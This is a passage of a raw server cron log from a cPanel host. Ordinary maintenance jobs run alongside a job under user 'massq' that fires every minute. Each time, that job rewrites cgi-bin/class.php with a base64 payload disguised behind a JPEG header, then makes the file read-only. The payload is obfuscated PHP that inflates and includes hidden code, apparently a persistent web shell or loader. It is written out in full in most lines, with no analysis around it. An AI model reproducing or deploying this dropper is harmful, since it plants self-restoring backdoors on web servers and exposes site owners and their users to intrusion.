GAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:25:01 server CROND[4181]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 31 18:26:02 server CROND[5198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:26:02 server CROND[5199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:26:02 server CROND[5200]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:27:01 server CROND[5585]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:27:01 server CROND[5586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:27:01 server CROND[5587]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 18:27:01 server CROND[5588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:28:01 server CROND[5971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:28:01 server CROND[5972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:28:01 server CROND[5973]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:29:01 server CROND[6360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:29:01 server CROND[6359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:29:01 server CROND[6361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:30:01 server CROND[6755]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 18:30:01 server CROND[6757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:30:01 server CROND[6762]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:30:01 server CROND[6763]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 18:30:01 server CROND[6761]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 18:30:01 server CROND[6765]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 18:30:01 server CROND[6764]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 18:30:01 server CROND[6766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:31:01 server CROND[7730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:31:01 server CROND[7731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:31:01 server CROND[7733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:32:01 server CROND[8141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:32:01 server CROND[8142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:32:01 server CROND[8143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:33:01 server CROND[8538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:33:01 server CROND[8539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:33:01 server CROND[8540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:34:01 server CROND[9004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:34:01 server CROND[9005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:34:01 server CROND[9006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:35:01 server CROND[9398]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:35:01 server CROND[9399]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 18:35:01 server CROND[9407]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 18:35:01 server CROND[9408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:35:01 server CROND[9412]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 18:35:01 server CROND[9416]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 18:35:01 server CROND[9415]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 18:35:01 server CROND[9414]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 18:35:01 server CROND[9413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:36:01 server CROND[10344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:36:01 server CROND[10345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:36:01 server CROND[10346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:37:01 server CROND[10725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:37:01 server CROND[10726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:37:01 server CROND[10727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:38:01 server CROND[11117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
